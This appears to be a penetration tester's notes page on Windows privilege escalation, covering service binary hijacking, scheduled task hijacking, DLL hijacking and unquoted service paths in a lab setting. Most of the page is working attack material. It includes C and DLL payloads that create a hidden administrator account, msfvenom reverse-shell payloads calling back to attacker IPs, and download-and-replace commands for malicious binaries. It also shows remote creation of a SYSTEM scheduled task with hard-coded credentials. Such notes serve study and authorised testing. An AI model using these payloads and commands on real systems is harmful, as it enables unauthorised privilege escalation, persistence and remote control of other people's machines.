# Services

A Windows service is a background process managed by the Service Control Manager. Services can be controlled using services snap-in (`services.msc`), PowerShell, or `sc.exe` (command-line tool). They typically run under specific built-in accounts but can be also run under custom user accounts, such as local or domain users:

* **LocalSystem:** High privileges (includes `SYSTEM` and `Administrator` SIDs)
* **Network Service:** Limited privileges with network access
* **Local Service:** Limited privileges without network access

## Binary Hijacking <a href="#service-binary-hijacking" id="service-binary-hijacking"></a>

> *For automated Service Binary Hijacking see* [*`PowerUp`*](https://x7331.gitbook.io/boxes/tl-dr/infra-tools/powerup#service-binary-hijacking)*.*

Every Windows service has an associated binary that runs when the service starts, and if its permissions are misconfigured, a low-privileged user may be able to replace it with a malicious file. For example, a developer might install a service but fail to properly restrict access, allowing any user to modify the binary. An attacker could exploit this by **replacing the binary with their own payload**, and then **triggering its execution by restarting the service or rebooting the system**—causing the malicious code to run with elevated privileges such as `LocalSystem`.

> *To list Windows services and their binaries we can use the GUI app `services.msc`, or the `Get-Service` and `Get-CimInstance` cmdlets.*

{% code overflow="wrap" %}

```powershell
# Filter running services and their executable paths
> Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object { $_.State -eq "Running" }

Name                      State   PathName
----                      -----   --------
Apache2.4                 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo                   Running C:\Windows\system32\svchost.exe -k netsvcs -p
AppXSvc                   Running C:\Windows\system32\svchost.exe -k wsappx -p
mysql                     Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
```

{% endcode %}

> ***Network logons** (e.g., WinRM, bind shells) **may fail** when querying services as a non-admin user, while **interactive logins** (e.g., **RDP**) work without permission issues.*

From the list above, the binaries located in the `C:\xampp` instead of the `C:\Windows\System32` directory (`apache2.4` and `mysql`) stand out because this means that these services are user-installed and are, therefore, susceptible to permission misconfigurations. We can enumerate their permissions using `icacls` or `Get-ACL` .

| Mask | Permissions    |
| ---- | -------------- |
| `F`  | Full Access    |
| `M`  | Modify Access  |
| `RX` | Read & Execute |
| `R`  | Read-only      |
| `W`  | Write-ony      |

```powershell
# Check the binary's permissions
> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Administrators:(F)
                              BUILTIN\Users:(F)

Successfully processed 1 files; Failed processing 0 files
```

We will create a malicious binary to replace the original `mysqld.exe`.

{% tabs %}
{% tab title="1. Payload" %}
{% code title="addUser.c" %}

```c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
```

{% endcode %}
{% endtab %}

{% tab title="2. Cross-compile" %}

```bash
$ x86_64-w64-mingw32-gcc addUser.c -o addUser.exe
```

{% endtab %}

{% tab title="3. Transfer" %}
{% code overflow="wrap" %}

```powershell
# Transfer the malicious binary to the target
iwr -uri http://192.168.45.231/addUser.exe -Outfile mysqld.exe
```

{% endcode %}
{% endtab %}

{% tab title="4. Replace" %}

```powershell
# Backup the original binary
> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
# Replace the original binary
> move .\addUser.exe C:\xampp\mysql\bin\mysqld.exe
```

{% endtab %}

{% tab title="5. Restart" %}
We can stop and then start the service:

```powershell
# Check the service's status
> Get-Service -Name 'mysql'

Status   Name   DisplayName
------   ----   -----------
Running  mysql  mysql

# Stop the service
> net stop mysql
> Stop-Service -Name 'mysql' -Force

# Start the service
> Start-Service -Name 'mysql'
```

Or restart it in one step (sometimes one approach might work while the other not):

```powershell
# Restart the service directly
> Restart-Service -Name 'mysql' -Force
```

{% endtab %}
{% endtabs %}

If the user does not have to restart the service but has the `SeShutDownPrivilege` assigned and the `StartMode` of the service is set to `Auto`, we can just reboot the system.

{% tabs %}
{% tab title="1. Failed Restart" %}

```powershell
> net stop mysql
System error 5 has occurred.

Access is denied.
```

{% endtab %}

{% tab title="2. StartMode" %}
{% code overflow="wrap" %}

```powershell
> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

Name  StartMode
----  ---------
mysql Auto
```

{% endcode %}
{% endtab %}

{% tab title="3. SeShutDownPrivilege" %}
{% code overflow="wrap" %}

```powershell
# The Disabled state only indicates if the privilege is currently enabled for the running process.
> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeSecurityPrivilege           Manage auditing and security log     Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
<SNIP>
```

{% endcode %}
{% endtab %}

{% tab title="4. Reboot" %}

```powershell
# 'r' -> reboot, 't 0' -> in zero seconds
> shutdown /r /t 0 
```

{% endtab %}
{% endtabs %}

> *To restore the original state of the service, we have to delete our binary `mysqld.exe`, restore the backed up original binary, and restart the system.*

We can also get a reverse shell by replacing the binary with the following.

{% code overflow="wrap" %}

```bash
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.231 LPORT=4444 -f exe > mysqld.exe
```

{% endcode %}

## Scheduled Tasks

Windows uses **Task Scheduler** to run automated jobs, known as **Scheduled Tasks**, based on defined triggers (e.g., at startup, login, or a specific time). Each task has one or more actions—scripts or programs to execute—configured under its properties. For privilege escalation, the focus is on three key details:

1. **User context:** Does the task run as `SYSTEM` or an `administrator`?
2. **Triggers:** When does it run? Is the condition re-usable within the testing window?
3. **Actions:** What program or script runs?

{% tabs %}
{% tab title="1. List Tasks" %}
{% code overflow="wrap" %}

```powershell
# /fo LIST -> format as list, /v -> display all properties (verbose)
> schtasks /query /fo LIST /v

HostName:                             CLIENTWK220
TaskName:                             \Microsoft\CacheCleanup
Next Run Time:                        4/7/2025 12:09:21 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Author:                               CLIENTWK220\daveadmin
Task To Run:                      C:\Users\steve\Pictures\BackendCacheCleanup.exe # Target binary
Start In:                             C:\Users\steve\Pictures
Scheduled Task State:                 Enabled
Run As User:                          daveadmin # Target user
Schedule Type:                        One Time Only, Minute
Start Time:                           7:37:21 AM
Start Date:                           7/4/2022
Repeat: Every:                        0 Hour(s), 1 Minute(s) # Runs every minute

# Alternative
> Get-ScheduledTask

# Check the binary's persmissions
> icacls BackendCacheCleanup.exe
BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Administrators:(I)(F)
                        CLIENTWK220\steve:(I)(F)
```

{% endcode %}
{% endtab %}

{% tab title="2. Payload" %}
{% code overflow="wrap" %}

```bash
# Created a revershe shell payload
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.49.117 LPORT=80 -f exe -o revshell.exe
```

{% endcode %}
{% endtab %}

{% tab title="3. Hijack" %}

```powershell
# Backup the original binary
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.back

# Download the malicious binary
iwr http://192.168.45.226/revshell.exe -outfile BackendCacheCleanup.exe
```

{% endtab %}
{% endtabs %}

Scheduled tasks can also be leveraged to get a reverse shell as `SYSTEM`:

{% code overflow="wrap" %}

```powershell
# Create a credential object
$pw = ConvertTo-SecureString "Passw0rd123!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("Administrator", $pw)

# Create a new scheduled task
Invoke-Command -Computer dc01 -ScriptBlock { schtasks /create /sc onstart /tn shell /tr C:\inetpub\wwwroot\shell.exe /ru SYSTEM } -Credential $creds

# Execute the scheduled task
Invoke-Command -Computer dc01 -ScriptBlock { schtasks /run /tn shell } -Credential $creds
```

{% endcode %}

## DLL Hijacking <a href="#dll-hijacking" id="dll-hijacking"></a>

If binary service hijacking isn't possible due to permission restrictions, DLL hijacking, a more **stealthier** method, can be used. DLLs are essential components that provide shared functionality to Windows programs. By **replacing a DLL** that a service depends on, malicious code can be injected while maintaining the service's functionality.

> *DLLs are called **Shared Objects** on Unix.*

When a program needs a DLL, Windows follows a predefined search order to locate it. To improve security, Microsoft introduced **safe DLL search mode***,* which prioritizes system directories to prevent unauthorized DLL loading. The standard search order is:

```
1. The directory from which the application loaded.
2. The System directory.
3. The 16-bit System directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
```

However, if a program looks for a **missing DLL** (due to installation issues or updates), a malicious DLL can be placed with the same name in a directory higher in the search order, a technique known as **DLL search order hijacking**.

{% code overflow="wrap" %}

```powershell
# List available services
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

displayname
-----------

FileZilla 3.63.1
<SNIP>
```

{% endcode %}

Filezilla `3.63.1` has a [DLL hijacking vulnerability](https://www.exploit-db.com/exploits/51267) related to the `TextShaping.dll` file. We first need to check if we have write access to the DLL's location.

```powershell
# Write a file to the binary's directory
> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
# List the file's contents
> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
test
```

The typical process of checking which DLLs are used by an application is via the **Process Monitor** tool, aka as `procmon`. Once we have a list of DLLs used by the service binary, we can check their permissions and if they can be replaced with a malicious DLL.

{% hint style="warning" %}
To start the Process Monitor we need **elevated privileges**. If we don't, we can copy the service binary to a local machine instead.
{% endhint %}

<figure><img src="https://x7331.gitbook.io/~gitbook/image?url=https%3A%2F%2F3960676229-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FmjLkek16kB60c2WFd5lf%252Fuploads%252Fd67CI5VK212zdmL6Gvkg%252Fprocmon_1.png%3Falt%3Dmedia%26token%3D8403bd8d-da67-49e2-954c-af1fef9267df&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=17324cd2&#x26;sv=2" alt=""><figcaption></figcaption></figure>

After filtering the results, we can click *Clear* (red bin icon) and start the process we are interested in. Since we are interested specifically in the `TextShaping.dll` we can create another filter targeting that.

<figure><img src="https://x7331.gitbook.io/~gitbook/image?url=https%3A%2F%2F3960676229-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FmjLkek16kB60c2WFd5lf%252Fuploads%252FBSP0wbThY6RBe4sGUAI2%252Fprocmon_2.png%3Falt%3Dmedia%26token%3Dd8d03059-412c-4724-96e1-8659f8c565da&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=6debbcd0&#x26;sv=2" alt=""><figcaption></figcaption></figure>

Based on the above screenshot, the binary tries to load the `TextShaping.dll` from `C:\Filezilla\Filezilla FTP Client\` and it can't find it. It then proceeds to search and find it from `C:\Windows\System32\`.&#x20;

Each DLL can have an optional **entry point function** named `DllMain`, which is executed when processes or threads attach the DLL. This function generally contains four cases named:

1. `DLL_PROCESS_ATTACH`
2. `DLL_THREAD_ATTACH`
3. `DLL_THREAD_DETACH`
4. `DLL_PROCESS_DETACH`

These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a `DllMain` entry point function, it only provides resources. We are interested in the `DLL_PROCESS_ATTACH` section of the code, since this is used when a process is loading the DLL.

{% tabs %}
{% tab title="1. Payload" %}
{% code title="dll\_hijacking.cpp" %}

```cpp
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
```

{% endcode %}
{% endtab %}

{% tab title="2. Cross-compile" %}

```bash
# Cross-compile the script on the attacking machine
$ x86_64-w64-mingw32-gcc dll_hijacking.cpp --shared -o TextShaping.dll
```

{% endtab %}

{% tab title="3. Transfer" %}
{% code overflow="wrap" %}

```powershell
# Transfer the malicious DLL to the target host
iwr -uri http://192.168.45.236/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
```

{% endcode %}
{% endtab %}
{% endtabs %}

In order for the DLL hijacking to trigger the FileZilla FTP Client needs to be started, however, it is important to keep in mind that **the privileges the DLL will run with depend on the privileges used to start the application**. If we were to start the FTP client as a low-privileged user, then we would not have the required privileges for our payload to work, i.e., to add a new user to the system and place them in the `Administrators` group.

Some binaries need to be started as a service in order to function properly:

```powershell
# Create a new service pointing to the binary
sc.exe create "Filezilla" binpath= "C:\Users\x7331\Desktop\filezilla.exe"
# Restart the service
Restart-Service Filezilla
```

We can also try changing directly the service's configuration:

{% code overflow="wrap" %}

```powershell
# Test if the user can start the process
> Start-Process sc.exe -ArgumentList 'qc IObitUnSvr' -NoNewWindow -Wait
# Point the service to a malicious binary
> Start-Process sc.exe -ArgumentList 'config IObitUnSvr binPath= "C:\Users\dharding\reverse.exe"' -NoNewWindow -Wait
# Restart the service
> Restart-Service IObitUnSvr
```

{% endcode %}

## Unquoted Service Paths <a href="#unquoted-service-paths" id="unquoted-service-paths"></a>

> *For automated enumeration and exploitation of this vector, see* [*here*](https://x7331.gitbook.io/boxes/tl-dr/infra-tools/powerup#unquoted-service-paths)*.*

1. Each Windows service maps to an executable file.
2. When a service starts, a process is created via the `CreateProcess` function.
3. The first parameter of this function, `IpApplicationName`, specifies the name and, optionally, the executable path. If the latter is an unquoted string that contains spaces, it can be used as a privilege escalation vector due to how Windows interprets the path.&#x20;

For example, `C:\Program Files\My Program\My Service\service.exe` will be interpreted as:

```
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
```

We can exploit this by creating a malicious executable in any of the paths before the original one. This will result in the former executing with the same privileges that the service starts with, typically, `LocalSystem`.

{% tabs %}
{% tab title="1. Service Enum" %}
Enumerate the service:

{% code overflow="wrap" %}

```powershell
> Get-CimInstance -ClassName win32_service | Select Name,State,PathName 

Name          State   PathName
----          -----   --------
...
GammaService  Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
...

# A more efficient cmd alternative
# /i -> case insensitive
# /v -> don't match (outside the Windows dir for permission issues and without quotes)
C:\Users\steve> wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
```

{% endcode %}

Check service's details, such as the `Run As User:` field:

```powershell
# Check service's details (Run As User:)
> schtasks /query /TN "Uninstaller_SkipUac_dharding" /V /FO LIST
```

{% endtab %}

{% tab title="2. Restart Perms" %}

```powershell
PS C:\Users\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...

PS C:\Users\steve> Stop-Service GammaService
```

{% endtab %}

{% tab title="3. Paths" %}

```powershell
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
```

{% endtab %}

{% tab title="4. Perms" %}

```powershell
PS C:\Users\steve> icacls "C:\"
<SNIP>
    BUILTIN\Users:(OI)(CI)(RX)
    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
    NT AUTHORITY\Authenticated Users:(AD)
<SNIP>
    
PS C:\Users\steve>icacls "C:\Program Files"
<SNIP>
    BUILTIN\Users:(RX)
    BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
<SNIP>

PS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"
<SNIP>
    BUILTIN\Users:(OI)(CI)(RX,W) # Write permissions!
<SNIP>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="5. Payload" %}
{% code title="Current.c" %}

```c
#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");

  return 0;
}
```

{% endcode %}
{% endtab %}

{% tab title="6. Cross-compile" %}

```bash
# cross-compile the script on the attacking machine
$ x86_64-w64-mingw32-gcc Current.c --shared -o Current.exe
```

{% endtab %}

{% tab title="7. Transfer" %}
{% code overflow="wrap" %}

```powershell
> iwr -uri http://192.168.45.235/Current.exe -OutFile 'C:\Program Files\Enterprise Apps\Current.exe'
```

{% endcode %}
{% endtab %}

{% tab title="8. Exploit" %}
{% code overflow="wrap" %}

```powershell
PS C:\Users\steve> Start-Service GammaService
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following
error: Cannot start service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceControl
   ler) [Start-Service], ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCom
   mand
```

{% endcode %}
{% endtab %}

{% tab title="9. Confirm" %}

```powershell
PS C:\Users\steve> net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2 # user created!
<SNIP>

PS C:\Users\steve> Get-LocalGroupMember administrators

ObjectClass Name                      PrincipalSource
----------- ----                      ---------------
User        CLIENTWK220\Administrator Local
User        CLIENTWK220\BackupAdmin   Local
User        CLIENTWK220\dave2         Local # user added to the admin's group!
User        CLIENTWK220\daveadmin     Local
User        CLIENTWK220\offsec        Local
```

{% endtab %}
{% endtabs %}
